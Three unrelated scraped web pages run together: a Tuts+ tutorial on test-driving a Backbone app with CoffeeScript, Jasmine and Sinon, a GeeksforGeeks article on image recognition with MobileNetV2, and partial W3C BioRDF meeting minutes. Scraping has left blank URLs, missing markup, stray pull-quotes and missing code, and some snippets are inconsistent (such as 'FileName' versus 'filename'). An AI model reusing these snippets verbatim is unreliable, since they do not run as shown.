- Jasmine-jQuery, to easily load html fixtures in our tests
- Twitter Bootstrap for some basic styling
- Hogan.js to compile Mustache templates
- Backbone validations, a Backbone extension that makes it very easy to add
validation rules to a Backbone model
- jQuery for basic DOM manipulation
There are also two HTML files:
index.html and
SpecRunner.html. The former shows our app running, while the latter runs our Jasmine specs.
Let's test our setup by running the application through a web server. There are various options for this, but I usually rely on a very simple Python command (available on OsX):
python -m SimpleHTTPServer
Backbone provides a nice API to define events in the scope of a specific view.
Next, navigate your browser to, and you should see a congratulations message. Also open; the page should contain a sample spec running green.
You should also find a
Cakefile in the root directory. This is a very simple CoffeeScript file that you can use to automatically compile all the
.coffee files we're going to write. It assumes that you have CoffeeScript installed as a globally available Node module, and you can refer to this page for instructions. Alternatively, you can use tools like CodeKit or Livereload to accomplish the same result.
To run the cake task, just type
cake compile. This task will keep running. You can watch for changes every time you save, but you may need to restart the script if you add new files.
Step 1 - The Restaurant Model
Namespacing
Using Backbone means we're going to create models, collections and views. Therefore, having a namespace to keep them organized is a good practice, and we can do that by creating an app file and a relevant spec:
touch javascript/app.coffee touch javascript/spec/app_spec.coffee
The spec file contains just one test:
describe "App namespace", -> it "should be defined", -> expect(Gourmet).toBeDefined()
Switching to the
javascript/app.coffee file, we can add the following namespace declaration:
window.Gourmet = Models: {} Collections: {} Views: {}
Next, we need to add the app file to
index.html:
... <script type="text/javascript" src="/javascript/app.js"></script> ...
We need to do the same in
SpecRunner.html, but this time for both app and spec:
<!-- lib --> <script type="text/javascript" src="/javascript/app.js"></script> <!-- specs --> <script type="text/javascript" src="/javascript/spec/toolchain_spec.js"></script> <script type="text/javascript" src="/javascript/spec/app_spec.js"></script>
Repeat this for every file we create from now on.
Basic Attributes
The core entity of our app is a restaurant, defined by the following attributes:
- a name
- a postcode
- a rating (1 to 5)
As adding more attributes would not provide any advantages in the scope of the tutorial, we can just work with these three for now.
Let's create the
Restaurant model and the relevant spec file:
mkdir -p javascript/models/ mkdir -p javascript/spec/models/ touch javascript/models/restaurant.coffee touch javascript/spec/models/restaurant_spec.coffee
Now we can open both files and add some basic specs to
restaurant_spec.coffee, shown here:
describe "Restaurant Model", -> it "should exist", -> expect(Gourmet.Models.Restaurant).toBeDefined() describe "Attributes", -> ritz = new Gourmet.Models.Restaurant it "should have default attributes", -> expect(ritz.attributes.name).toBeDefined() expect(ritz.attributes.postcode).toBeDefined() expect(ritz.attributes.rating).toBeDefined()
The test is very simple:
- We check that a
Restaurantclass exists.
- We also check that a new
Restaurantinstance is always initialized with defaults that mirror the requirements we have.
Refreshing
/SpecRunner.html will show the specs failing. Now let's implement
models/restaurant.coffee. It's even shorter:
class Gourmet.Models.Restaurant extends Backbone.Model defaults: name: null postcode: null rating: null
Backbone will take care of sending the correct Ajax requests.
We just need to create a class on the
window namespace to make it globally available--we'll will worry about the namespace in the second part. Now, our specs should pass. Refresh
/SpecRunner.html, and the specs should pass.
Validations
As I said before, we will use Backbone Validations for client side validation. Let's add a new
describe block to
models/restaurant_spec.coffee to express our expectations:
describe "Restaurant Model", -> ... describe "Validations", -> attrs = {} beforeEach -> attrs = name: 'Ritz' postcode: 'N112TP' rating: 5 afterEach -> ritz = new Gourmet.Models.Restaurant attrs expect(ritz.isValid()).toBeFalsy() it "should validate the presence of name", -> attrs["name"] = null it "should validate the presence of postcode", -> attrs["postcode"] = null it "should validate the presence of rating", -> attrs["rating"] = null it "should validate the numericality of rating", -> attrs["rating"] = 'foo' it "should not accept a rating < 1", -> attrs["rating"] = 0 it "should not accept a rating > 5", -> attrs["rating"] = 6
We define an empty attributes object that will be modified in every expectation. Each time we will set only one attribute with an invalid value, thus testing the thoroughness of our validation rules. We can also use an
afterEach block to avoid a lot of repetition. Running our specs will show 6 failures. Once again, we have an extremely concise and readable implementation, thanks to Backbone validations:
class Gourmet.Models.Restaurant extends Backbone.Model defaults: name: null postcode: null rating: null validate: name: required: true postcode: required: true rating: required: true type: 'number' min: 1 max: 5
Our specs will now pass, and with these changes in place, we have a quite solid Restaurant model.
The Restaurants Collection
Because we want to manage a list of restaurants, it makes sense to have a
RestaurantsCollection class. We don't know yet how complicated it needs to be; so, let's focus on the bare minimum requirements by adding a new
describe block to the
models/restaurant_spec.coffee file:
describe "Restaurant model", -> ... describe "Restaurants collection", -> restaurants = new Gourmet.Collections.RestaurantsCollection it "should exist", -> expect(Gourmet.Collections.RestaurantsCollection).toBeDefined() it "should use the Restaurant model", -> expect(restaurants.model).toEqual Gourmet.Models.Restaurant
Backbone provides an extensive list of methods already defined for a collection, so our work here is minimal. We don't want to test methods defined by the framework; so, we just have to make sure that the collection uses the right model. Implementation-wise, we can append the following few lines to
models/restaurant.coffee:
class Gourmet.Collections.RestaurantsCollection extends Backbone.Collection model: Gourmet.Models.Restaurant
It's clear that CoffeeScript and Backbone are a very powerful team when it comes to clarity and conciseness. Let's rerun our specs to verify that everything's green.
Step 2 - The Restaurants View
The Markup
Until now, we haven't even looked at how we're going to display or interact with our data. We'll keep it visually simple and focus on two actions: adding and removing a restaurant to/from the list.
Thanks to Bootstrap, we can easily add some basic markup that results in a decent looking prototype table. Let's open the
index.html file and add the following body content:
<div class="container"> <div class="navbar"> <div class="navbar-inner"> <div class="container"> <a href="#" class="brand">Awesome restaurants</a> </div> </div> </div> <div class="container"> <div class="row"> <div class="span4"> > </div> <div class="span8"> <table class="table" id="restaurants"> <thead> <tr> <th>Name</th> <th>Postcode</th> <th>Rating</th> </tr> </thead> <tbody></tbody> </table> </div> </div> </div> </div>
What we really care about is the
#restaurant-form and the
#restaurants table. The input elements use a conventional pattern for their names (
entity[attribute]), making them easily processable by most back-end frameworks (especially Rails). As for the table, we are leaving the
tbody empty, as we will render the content on the client with Hogan. In fact, we can add the template we're going to use right before all other
<script> tags in the
<head>.
... <link rel="stylesheet" media="screen" href="/css/bootstrap.css" > <script type="text/mustache" id="restaurant-template"> <tr> <td>{{ name }}</td> <td>{{ postcode }}</td> <td>{{ rating }}</td> <td> <i class="icon-remove remove" id="{{ id }}"></i> </td> </tr> </script> <script type="text/javascript" src="/javascript/vendor/jquery.min.js"></script> ...
Being a Mustache template, it needs the correct
text/mustache type and an
id we can use to retrieve it from the DOM. All the parameters enclosed in
{{ }} are attributes of our
Restaurant model; this simplifies the rendering function. As a last step, we can add a
remove icon that, when clicked, deletes the corresponding restaurant.
The Restaurants View Class
As previously stated, we have two core view components: the restaurants list and the restaurant form. Let's tackle the first by creating both the directory structure for views and the needed files:
mkdir -p javascript/views mkdir -p javascript/spec/views touch javascript/views/restaurants.coffee touch javascript/spec/views/restaurants_spec.coffee
Let's also copy
#restaurant-template to the
SpecRunner.html file:
... <script type="text/javascript" src="/javascript/vendor/jasmine-jquery.js"></script> <!-- templates --> <script type="text/mustache" id="restaurant-template"> <tr> <td>{{ name }}</td> <td>{{ postcode }}</td> <td>{{ rating }}</td> <td> <i class="icon-remove remove" id="{{ id }}"></i> </td> </tr> </script> <!-- vendor js --> <script type="text/javascript" src="/javascript/vendor/jquery.min.js"></script> ...
In addition, we need to include the
.js files in the head of
SpecRunner.html. We can now open
views/restaurant_spec.coffee and start editing.
describe "Restaurants view", -> restaurants_data = [ { id: 0 name: 'Ritz' postcode: 'N112TP' rating: 5 }, { id: 1 name: 'Astoria' postcode: 'EC1E4R' rating: 3 }, { id: 2 name: 'Waldorf' postcode: 'WE43F2' rating: 4 } ] invisible_table = document.createElement 'table' beforeEach -> @restaurants_collection = new Gourmet.Collections.RestaurantsCollection restaurants_data @restaurants_view = new Gourmet.Views.RestaurantsView collection: @restaurants_collection el: invisible_table it "should be defined", -> expect(Gourmet.Views.RestaurantsView).toBeDefined() it "should have the right element", -> expect(@restaurants_view.el).toEqual invisible_table it "should have the right collection", -> expect(@restaurants_view.collection).toEqual @restaurants_collection
Fixtures are a simple way to import HTML fragments in our tests without having to write them inside the spec file itself.
It looks like a lot of code, but this is a standard start for a view spec. Let's walk through it:
- We begin by instantiating an object that holds some restaurant data. As suggested by the Backbone documentation, it's a good practice to feed a Backbone app the data it needs directly in the markup to avoid a delay for the user and an extra HTTP request when the page opens.
- We create an invisible table element without appending it to the DOM; we don't need it for user interaction.
- We define a
beforeEachblock where we instantiate a
RestaurantsCollectionwith the data we created before. Doing it in a
beforeEachblock guarantees that every spec will start with a clean slate.
- We then instantiate a
RestaurantsViewclass and pass both the collection and the invisible table in the initializer. The object keys,
collectionand
el, are default Backbone methods for a
Viewclass. They identify the container where the view will be rendered and the data source used to populate it.
- The specs simply check that everything we assume in the
beforeEachblock is true.
Running our tests throws an error because the
RestaurantsView class is not yet defined. We can easily get everything to green by adding the following content to
views/restaurant.coffee:
class Gourmet.Views.RestaurantsView extends Backbone.View
We don't need to override or change the constructor defined by the
Backbone.View prototype because we instantiated the view with a
collection and an
el attribute. This single line is enough to get our specs green; it will, however, do pretty much nothing from the end result point of view.
Assuming there are restaurants added to the collection, the view class should render them on the page as soon as the page loads. Let's translate this requirement into a spec that we can add at the bottom of the
views/restaurant_spec.coffee file:
it "should render the the view when initialized", -> expect($(invisible_table).children().length).toEqual 3
We can test the number of children (
<tr/> elements) that the invisible table needs to have, considering that we have defined a sample dataset of three restaurants. This will result in a red spec because we haven't even started working on rendering. Let's add the relevant piece of code to the
RestaurantsView class:
class Gourmet.Views.RestaurantsView extends Backbone.View template: Hogan.compile $('#restaurant-template').html() initialize: -> @render @collection render: => @$el.empty() for restaurant in @collection.models do (restaurant) => @$el.append @template.render(restaurant.toJSON())
...the real benefit is the possibility to work effectively on testable pieces of functionality that follow predictable patterns.
You will see this pattern very frequently in a Backbone application, but let's break it into pieces:
- The
templatefunction isolates the templating logic we use inside the application. We're using mustache templates compiled through Hogan, but we could've used Underscore or Mustache itself. All of them follow a similar API structure; so, switching would not be difficult (albeit a bit boring). In addition, isolating the template function gives a clear idea of which template a view uses.
- The
renderfunction empties the
el(note that
@$elis a cached, jQuery wrapped version of the element itself made available by default by Backbone), iterates on the models inside the collection and render the result, and appends it to the element. This is a naive implementation, and you may want to refactor it to
appendjust once instead of doing it at every loop.
- Finally, we call
renderwhen the view is initialized.
This will make our spec green and will give us a minimal amount of code useful to actually show it on the page. Let's open
index.html and add the following:
... <body> <script type="text/javascript"> restaurants_data = [ { id: 0, name: 'Ritz', postcode: 'N112TP', rating: 5 }, { id: 1, name: 'Astoria', postcode: 'EC1E4R', rating: 3 }, { id: 2, name: 'Waldorf', postcode: 'WE43F2', rating: 4 } ]; $(document).ready(function(){ restaurants = new Gourmet.Collections.RestaurantsCollection(restaurants_data); restaurants_view = new Gourmet.Views.RestaurantsView({ collection: restaurants, el: '#restaurants tbody' }) }); </script> ...
We're basically replicating the default dataset and the setup needed to get the app running. We're also doing it inside the HTML file because this code is useful only in this static version of the app.
Refresh the page and behold! The restaurants table will be populated with results.
Next, we need to handle what happens when we add or remove a restaurant from the collection. It's important to remember that the form is just one possible way to act on the collection; we could also have push events from other users, for example. Therefore, it is essential that this logic is separated in a clean and independent manner.
What do we expect to happen? Let's add this specs to the
views/restaurants\_view\_spec.coffee file (right after the last one):
it "should render when an element is added to the collection", -> @restaurants_collection.add name: 'Panjab' postcode: 'N2243T' rating: 5 expect($(invisible_table).children().length).toEqual 4 it "should render when an element is removed from the collection", -> @restaurants_collection.pop() expect($(invisible_table).children().length).toEqual 2
In essence, we add and remove a restaurant to the collection, expecting our table to update itself accordingly. Adding this behavior to the view class requires a couple of lines in the initializer, as we can leverage on Backbone events on the collection:
... initialize: -> @render @collection @collection.on 'add', @render @collection.on 'remove', @render ...
We can re-render the whole table using the collection in the current state (after an element has been added or removed) because our rendering logic is pretty simple. This will make our specs to pass.
When you now open the
index.html file, you will see that the remove icon on each table row doesn't do anything. Let's spec out what we expect to happen at the end of the
views/restaurants\_view\_spec.coffee file:
it "should remove the restaurant when clicking the remove icon", -> remove_button = $('.remove', $(invisible_table))[0] $(remove_button).trigger 'click' removed_restaurant = @restaurants_collection.get remove_button.id expect(@restaurants_collection.length).toEqual 2 expect(@restaurants_collection.models).not.toContain removed_restaurant
Jasmine spies are quite powerful, and I encourage you to read about them.
The test is pretty verbose, but it summarizes exactly what needs to happen:
- We find the remove icon of the first row in the table with jQuery.
- We then click that icon.
- We identify which restaurant needs to be removed by using the
idof the remove button, which corresponds to the
idof the restaurant model.
- We test that the restaurants collection has an element less, and that element is exactly the one we identified before.
How can we implement this? Backbone provides a nice API to define events in the scope of a specific view. Let's add one to the
RestaurantsView class:
class Gourmet.Views.RestaurantsView extends Backbone.View events: 'click .remove': 'removeRestaurant' ... removeRestaurant: (evt) => id = evt.target.id model = @collection.get id @collection.remove model
When clicking on an element with class
.remove, the view calls the
removeRestaurant function and passes the jQuery event object. We can use it to get the
id of the element and remove the relevant model from the collection. We already handle what happens when removing an element from the collection; so, this will be enough to get the spec to green.
In addition, you can open
index.html and see it in action in the browser.
The Restaurant Form Class
We now need to handle the user input when using the form to add a new restaurant:
- If the user inputs invalid data, we're going to display inline validation errors.
- If the user inputs valid data, the restaurant will be added to the collection and displayed in the table.
As we've already added validations to the
Restaurant model, we now need to wire them to the view. Not surprisingly, we will start by creating a new view class and the relevant spec file.
touch javascript/views/restaurant_form.coffee touch javascript/spec/views/restaurant\_form\_spec.coffee
Once again, let's remember to add the JavaScript compiled version of the view to
index.html and both compiled versions to
SpecRunner.html.
It's a good time to introduce fixtures, a piece of functionality made available by Jasmine-jQuery, because we will be dealing with the form markup. In essence, fixtures are a simple way to import HTML fragments in our tests without having to write them inside the spec file itself. This keeps the spec clean, understandable, and can eventually lead to reusability of the fixture among multiple specs. We can create a fixture for the form markup:
mkdir -p javascript/spec/fixtures touch javascript/spec/fixtures/restaurant_form.html
Let's copy the whole form in
index.html to the
restaurant_form.html fixture:
>
Now open
views/restaurant\_form\_spec.coffee and add the fixture along with some boilerplate:
describe "Restaurant Form", -> jasmine.getFixtures().fixturesPath = 'javascript/spec/fixtures' beforeEach -> loadFixtures 'restaurant_form.html' @invisible_form = $('#restaurant-form') @restaurant_form = new Gourmet.Views.RestaurantForm el: @invisible_form collection: new Gourmet.Views.RestaurantsCollection it "should be defined", -> expect(Gourmet.Views.RestaurantForm).toBeDefined() it "should have the right element", -> expect(@restaurant_form.$el).toEqual @invisible_form it "should have a collection", -> expect(@restaurant_form.collection).toEqual (new Gourmet.Views.RestaurantsCollection)
The
jasmine.getFixtures().fixtures_path attribute change is needed as we have a custom directory structure that differs from the library default. Then, in the
beforeEach block, we load the fixture and define an
@invisible_form variable that targets the form we just imported. Finally, we define an instance of the class we're going to create, passing in an empty restaurants collection and the
@invisible_form we just created. As usual, this spec will be red (the class is still undefined), but if we open
restaurant_form.coffee we can easily fix it:
class Gourmet.Views.RestaurantForm extends Backbone.View
Next, we need to think about our spec's structure. We have two choices:
Using Backbone means we're going to create models, collections and views. Therefore, having a namespace to keep them organized is a good practice
- We can spy on the form content with jasmine and mock it.
- We could manually change the content of the fields and then simulate a click.
Personally, I favor the first approach. The second would not eliminate the need for proper integration testing, but it would increase the complexity of the spec.
Jasmine spies are quite powerful, and I encourage you to read about them. If you come from a Ruby testing background, they're very similar to RSpec's mocks and feel very familiar. We do need to have an idea of the pattern we are going to implement, at least with broad strokes:
- The user enters data in the form.
- When he presses save, we get the form content in a serialized form.
- We transform that data and create a new restaurant in the collection.
- If the restaurant is valid, we save it, otherwise we will display validation errors.
As said before, we're going to mock the first step, and we'll do so by defining a new describe block where we instantiate an object that represents a well formed, valid data structure coming from a form.
describe "Restaurant Form", -> ... describe "form submit", -> beforeEach -> @serialized_data = [ { name: 'restaurant[name]', value: 'Panjab' }, { name: 'restaurant[rating]', value: '5' }, { name: 'restaurant[postcode]', value: '123456' } ] spyOn(@restaurant_form.$el, 'serializeArray').andReturn @serialized_data
At the end, we define a spy on the
serializeArray method for our form. That means that if we call
@restaurant_form.$el.serializeArray(), we already know that it's going to return the object we created above. This is the mocking facility we needed; it simulates the user input we need to test with. Next, we can add some specs:
it "should parse form data", -> expect(@restaurant_form.parseFormData(@serialized_data)).toEqual name: 'Panjab', rating: '5', postcode: '123456' it "should add a restaurant when form data is valid", -> spyOn(@restaurant_form, 'parseFormData').andReturn name: 'Panjab', rating: '5', postcode: '123456' @restaurant_form.save() # we mock the click by calling the method expect(@restaurant_form.collection.length).toEqual 1 it "should not add a restaurant when form data is invalid", -> spyOn(@restaurant_form, 'parseFormData').andReturn name: '', rating: '5', postcode: '123456' @restaurant_form.save() expect(@restaurant_form.collection.length).toEqual 0 it "should show validation errors when data is invalid", -> spyOn(@restaurant_form, 'parseFormData').andReturn name: '', rating: '5', postcode: '123456' @restaurant_form.save() expect($('.error', $(@invisible_form)).length).toEqual 1
In the first spec, we verify that our
RestaurantForm class has a method that parses the data from the form. This method should return an object that we can feed to the restaurant collection. In the second spec, we mock the previous method because we don't need to test it again. Instead, we focus on what happens when the user clicks 'Save'. It will probably trigger an event that calls a
save function.
We should tweak the second spec's mock to return invalid data for a restaurant in order to verify that the restaurant doesn't get added to the collection. In the third spec, we verify that this also triggers validation errors in the form. The implementation is somewhat tricky:
class Gourmet.Views.RestaurantForm extends Backbone.View events: 'click #save': 'save' save: -> data = @parseFormData(@$el.serializeArray()) new_restaurant = new Restaurant data errors = new_restaurant.validate(new_restaurant.attributes) if errors then @handleErrors(errors) else @collection.add new_restaurant parseFormData: (serialized_array) -> _.reduce serialized_array, @parseFormField, {} parseFormField: (collector, field_obj) -> name = field_obj.name.match(/\[(\w+)\]/)[1] collector[name] = field_obj.value collector handleErrors: (errors) -> $('.control-group').removeClass 'error' for key in (_.keys errors) do (key) -> input = $("#restaurant_#{key}") input.closest('.control-group').addClass 'error'
This is a good practice to make sure that we use the fake server only where we need to, minimizing interference with the rest of the test suite.
Let's see each function:
- We have an
eventshash that binds the user's mouse click to a
savefunction.
- The save function parses the data (more on that below) in the form and creates a new restaurant. We call the
validatefunction (available by Backbone and defined by Backbone-validations). It should return
falsewhen the model is valid, and an error object when it's invalid. If valid, we add the restaurant to the collection.
- The two 'parse' functions are needed to extract the attribute names from the form and create an object in the desired Backbone-ready format. Bear in mind that this complexity is needed because of the markup. We could change it, but this is a good example of how you could work on top of an existing form to enhance it.
- The
handleErrorsfunction iterates over the
errorsobject and finds the corresponding input fields, adding the
.errorclass when appropriate.
Running the specs now shows a reassuring series of green dots. To have it running in the browser, we need to extend our initialize function:
$(document).ready(function(){ restaurants = new Gourmet.Collections.RestaurantsCollection(restaurants_data); restaurants_view = new Gourmet.Views.RestaurantsView({ collection: restaurants, el: '#restaurants tbody' }); restaurant\_form\_view = new Gourmet.Views.RestaurantForm({ el: '#restaurant-form', collection: restaurants }); });
There's only one caveat: for now you can't delete a restaurant that you added because we rely on the
id attribute to target the correct model in the restaurants collection (Backbone needs a persistence layer to assign it). This is where you would add, depending on your needs, a real back-end--like a Rails server or a
LocalStorage adapter.
Step 3 - Testing server interaction
Even though we're on a server-less environment, we can take advantage of a couple of extra libraries that let us wire up our application for a server deploy. As a proof of concept, we will assume to be working on top of a Ruby on Rails stack.
To use Backbone with a Rails application, we need to have an additional adapter for syncing; Backbone doesn't provide that by default (it's a server agnostic tool). We can use the one included in the Backbone-rails project.
curl -o javascript/vendor/backbone\_rails\_sync.js\_rails\_sync.js
Next, we need to include it both in
index.html and
SpecRunner.html, right after the script that requires Backbone itself. This adapter takes care of executing all the asyncronous requests we need, provided that we setup our
Restaurant model and our
RestaurantsCollection with the right URLs.
How are we going to test this? We can use Sinon.js, a very powerful JavaScript mocking library that is also able to instantiate a fake server object that will intercept all XHR requests. Once again, we can simply:
curl -o javascript/vendor/sinon.js
Don't forget to add it to the
SpecRunner.html file right after Jasmine.
Now we can start thinking about the server API. We can assume it follows a RESTful architecture (a direct consequence of choosing Rails as a backend) and uses the JSON format. Because we're managing restaurants, we can also assume that the base URL for every request will be
/restaurants.
We can add two specs to the
models/restaurant_spec.coffee file to make sure that both collection and model are properly setup:
... it "should have default attributes", -> expect(ritz.attributes.name).toBeDefined() expect(ritz.attributes.postcode).toBeDefined() expect(ritz.attributes.rating).toBeDefined() it "should have the right url", -> expect(ritz.urlRoot).toEqual '/restaurants' ... it "should use the Restaurant model", -> expect(restaurants.model).toEqual Gourmet.Models.Restaurant it "should have the right url", -> expect(restaurants.url).toEqual '/restaurants'
To implement this, we need to define two methods on the
Restaurant model and the
RestaurantsCollection class:
class Gourmet.Models.Restaurant extends Backbone.Model urlRoot: '/restaurants' ... class Gourmet.Collections.RestaurantsCollection extends Backbone.Collection url: '/restaurants' model: Gourmet.Models.Restaurant
Watch out for the different method name!
Decoupling our Backbone application from the server side makes it just another client.
This is what is needed to setup server integration. Backbone will take care of sending the correct Ajax requests. Fore example, creating a new restaurant triggers a
POST request to
/restaurants with the new restaurant attributes in JSON format. As these requests are always the same (that is guaranteed by the
rails_sync adapter), we can reliably test that interaction on the page will trigger those requests.
Let's open the
views/restaurants_spec.coffee file and setup Sinon. We will use its
fakeServer facility to check the requests sent to the server. As a first step, we have to instantiate a sinon server in a
beforeEach block. We will also need to make sure to restore the normal functionality right after running our specs. This is a good practice to make sure that we use the fake server only where we need to, minimizing interference with the rest of the test suite.
beforeEach -> @server = sinon.fakeServer.create() @restaurants_collection = new Gourmet.Collections.RestaurantsCollection restaurants_data @restaurants_view = new Gourmet.Views.RestaurantsView collection: @restaurants_collection el: invisible_table afterEach -> @server.restore()
Next, we add a spec to test that a DELETE request is sent to the server when we press the remove icon for a restaurant:
it "should remove a restaurant from the collection", -> evt = { target: { id: 1 } } @restaurants_view.removeRestaurant evt expect(@restaurants_collection.length).toEqual 2 it "should send an ajax request to delete the restaurant", -> evt = { target: { id: 1 } } @restaurants_view.removeRestaurant evt expect(@server.requests.length).toEqual 1 expect(@server.requests[0].method).toEqual('DELETE') expect(@server.requests[0].url).toEqual('/restaurants/1')
We can easily inspect
@server.requests, an array of all the XHR requests made in the test. We check protocol and URL of the first request and ensure it matches with the expectation. If you run the spec, it will fail because our current logic simply removes the restaurant from the collection without deleting it. Let's open
views/restaurants.coffee and revise the
removeRestaurant method:
removeRestaurant: (evt) => id = evt.target.id model = @collection.get id @collection.remove model model.destroy()
By calling
destroy, we effectively trigger the DELETE request, making our spec pass.
Next up, the restaurant form. We want to test that every time a form with valid data is submitted, a POST request is sent to the server with the correct data. We will also refactor our tests to isolate valid and invalid attributes in two variables; this will reduce the amount of repetition that we already have. For clarity, here is the full
Form submit block from
views/restaurant\_form\_spec.coffee:
describe "Form submit", -> # attrs need to be alphabetical ordered! validAttrs = name: 'Panjab', postcode: '123456', rating: '5' invalidAttrs = name: '', postcode: '123456', rating: '5' beforeEach -> @server = sinon.fakeServer.create() @serialized_data = [ { name: 'restaurant[name]', value: 'Panjab' }, { name: 'restaurant[rating]', value: '5' }, { name: 'restaurant[postcode]', value: '123456' } ] spyOn(@restaurant_form.$el, 'serializeArray').andReturn @serialized_data afterEach -> @server.restore() it "should parse form data", -> expect(@restaurant_form.parseFormData(@serialized_data)).toEqual validAttrs it "should add a restaurant when form data is valid", -> spyOn(@restaurant_form, 'parseFormData').andReturn validAttrs @restaurant_form.save() # we mock the click by calling the method expect(@restaurant_form.collection.length).toEqual 1 it "should not add a restaurant when form data is invalid", -> spyOn(@restaurant_form, 'parseFormData').andReturn invalidAttrs @restaurant_form.save() expect(@restaurant_form.collection.length).toEqual 0 it "should send an ajax request to the server", -> spyOn(@restaurant_form, 'parseFormData').andReturn validAttrs @restaurant_form.save() expect(@server.requests.length).toEqual 1 expect(@server.requests[0].method).toEqual('POST') expect(@server.requests[0].requestBody).toEqual JSON.stringify(validAttrs) it "should show validation errors when data is invalid", -> spyOn(@restaurant_form, 'parseFormData').andReturn invalidAttrs @restaurant_form.save() expect($('.error', $(@invisible_form)).length).toEqual 1
The pattern is exactly the same as the one we used in the previous spec: we instantiate a sinon server and check the
requests array for a POST request with the valid attributes.
To implement this, we need to modify a line in
views/restaurant_form.coffee:
save: -> data = @parseFormData(@$el.serializeArray()) new_restaurant = new Gourmet.Models.Restaurant data errors = new_restaurant.validate(new_restaurant.attributes) if errors then @handleErrors(errors) else @collection.create new_restaurant
Instead of simply adding the restaurant to the collection, we call the
create method to trigger the server save.
Conclusion
If you have never worked with Backbone and Jasmine before, this is lot to digest, however the real benefit is the possibility to work effectively on testable pieces of functionality that follow predictable patterns. Here are some suggestions on how to improve from here:
- Would it be possible to add a message to the validation errors?
- How could we reset the form after adding a restaurant?
- How could we edit a restaurant?
- What if we need to paginate the table?
Try it out and let me know in the comments!
Envato Tuts+ tutorials are translated into other languages by our community members—you can be involved too!Translate this post
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https://code.tutsplus.com/tutorials/building-and-testing-a-backbone-app--net-26574
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Image Recognition with Mobilenet
Introduction:
Image Recognition plays an important role in many fields like medical disease analysis, and many more. In this article, we will mainly focus on how to Recognize the given image, what is being displayed. We are assuming to have a pre-knowledge of Tensorflow, Keras, Python, MachineLearning
Attention geek! Strengthen your foundations with the Python Programming Foundation Course and learn the basics.
To begin with, your interview preparations Enhance your Data Structures concepts with the Python DS Course. And to begin with your Machine Learning Journey, join the Machine Learning - Basic Level Course
Also, we will be using Colaboratory as our notebook to run python codes and train our models.
Description:
We are aimed to recognize the given image using machine learning. We are assuming we are already having a pre-trained model in our Tensorflow which we will be using to Recognize images. So, we will be using Keras of Tensorflow to import architectures which will help us to recognize images and to predict the image in a better way using coordinates and indexing, we will be using NumPy as a tool.
from tensorflow.keras.applications import imagenet_utils
2) To load the image in the notebook, we have to first add an image file to the folder and then pass its path to any variable (let it be FileName as of now) as:
FileName = ‘Path_to_img’
img = image.load_img(filename,target_size=(224,224))
plt.imshow(img)
Now to display this image we have to load it in our TensorFlow model which can be done using the image library which is present in tensorflow.keras.preprocessing. This library is used to load the image in our model, and then we can print it to display the image as shown below:
In the above method image is displayed in RGB and pixels format by default. So we will be using matplotlib.pyplot to plot our image using coordinates and to get a visualised form of our image in a better way.
The method in lib of matplotlib.pyplot is imshow( image_Variable ) which is used to display image clearly.Hence,
Output image
Hence, some of the features we had loaded our image which we are going to recognize.
3) Now we are going to use a pre-trained model which is used to test our predictions on image.
Since there is a large collection of models in tensorflow.keras.applications, so we can use any model to predict the image. Here we will be using mobilenet_v2 model.
Mobilenet_v2 is the 2nd version model of Mobilenet series(although there are many other versions). These models are making use of CNN(Convolutional neural networks) for predicting the features of the images like what is the shape of the object present and what is it matched with.
How CNN works?
Since the images can be seen as a matrix of pixels and each pixel describes some of features of the image, so these technologies uses filters to filter out certain set of pixels in the images and results in the formation of output predictions about images.
CNN uses lot of pre-defined and stored filters and does a convolution (X) of that filter with the pixels matrix of the image. This results in filtering the image’s objects and comparing them with a large set of pre-defined objects to identify a match between them. Hence in this way these models are able to predict the image.
CNN’s working.
But these technologies requires a high GPU to increase the comparison rate between millions of data which cannot be provided by any mobile device.
Hence, here comes in action what is known as MobileNet.
Mobilenet is a model which does the same convolution as done by CNN to filter images but in a different way than those done by the previous CNN. It uses the idea of Depth convolution and point convolution which is different from the normal convolution as done by normal CNNs. This increases the efficiency of CNN to predict images and hence they can be able to compete in the mobile systems as well. Since these ways of convolution reduce the comparison and recognition time a lot, so it provides a better response in a very short time and hence we are using them as our image recognition model.
Enhancement over the the previous idea
So to import this model in a variable in the model we write the code as :
model = tf.keras.applications.mobilenet_v2.MobileNetV2()
We are now going to feed our loaded image to it in a form of an array, so to convert the image to the array we will use the image library (discussed above) whose method named img_to_array() as given:
Now we are using preprocess_input() and predict() method of our trained dataset to predict image details.
4) Now since the predictions are made, so to display them we have to decode them. To decode them we will be using imagenet_utils. This library is used to decode and make many changes to array images.
A method named decode_predictions( ) is used to decode the predictions made to human-readable format.
results = imagenet_utils.decode_predictions(predictions)# decode_predictions() method is used.
print(results)
Hence, the overall code of the prediction looks like this:
Python3
Output:
We can see the output is containing the name of the bird in the image and the pixels where it is located.
[[('n01558993', 'robin', 0.8600541), ('n04604644', 'worm_fence', 0.005403478), ('n01806567', 'quail', 0.005208329), ('n01530575', 'brambling', 0.00316776), ('n01824575', 'coucal', 0.001805085)]]
Hence, we had used Machine Learning Models and Python to Recognize the image of a bird with notebooks.
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https://www.geeksforgeeks.org/image-recognition-with-mobilenet/
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HCLSIG BioRDF Subgroup/Meetings/2009-04-20 Conference Call
Conference Details
- Date of Call: Monday April: Matthias Samwald
Attendees
- Scott Marshall, Kei Cheung, Jun Zhao, Eric Prud'hommeaux, Matthias Samwald, Rob Frost
Agenda
- Introduction (Kei)
- status of the bmc bioinformatics paper (All)
- HCLS KB update (Matthias, Adrian)
- Face-to-face meeting: BioRDF breakouts (All)
Minutes
<matthias_samwald> TOPIC --- BMC Bioinformatics Paper
<matthias_samwald> Kei: I have not heard any feedback yet, we are still in the review process
<matthias_samwald> Scott: They extended the review deadline to the 22nd
<matthias_samwald> ...: but there will be late reviews and decision making, so next week will be the earliest for feedback
<matthias_samwald> Kei: I want to thank everyone who contributed to the paper.
<matthias_samwald> Scott: I am enthusiastic about the content in the paper, it is a good look into query federation
<kei> matthias: added new datasets (LODD) to HCLS KB (DERI)
<matthias_samwald> kei: we will also explore linking the Traditional Chinese Medicine (TCM) dataset to the LODD datasets.
<mscottm>
<matthias_samwald> Scott: accessing the HCLS KB at DERI from the AIDA web interface works (via Sesame)
<matthias_samwald> ... our focal point right now is looking at the Gene Ontology graph
<mscottm>
<matthias_samwald> ... enter '' into the AIDA thesaurus info field
- jun (chatzilla@62.82.106.5) has joined #hcls
<matthias_samwald> ... one of the problems we faced was having a large number of named graphs and not knowing what is in them...
<matthias_samwald> ... in addition to the three upper classes of the GO ontologies there are some other things you can ignore
<matthias_samwald> ... when you type in "GABA" you can get autocompletion
<matthias_samwald> ... you can take one of the concepts and drag it to the query to add it, without worrying about namespaces etc.
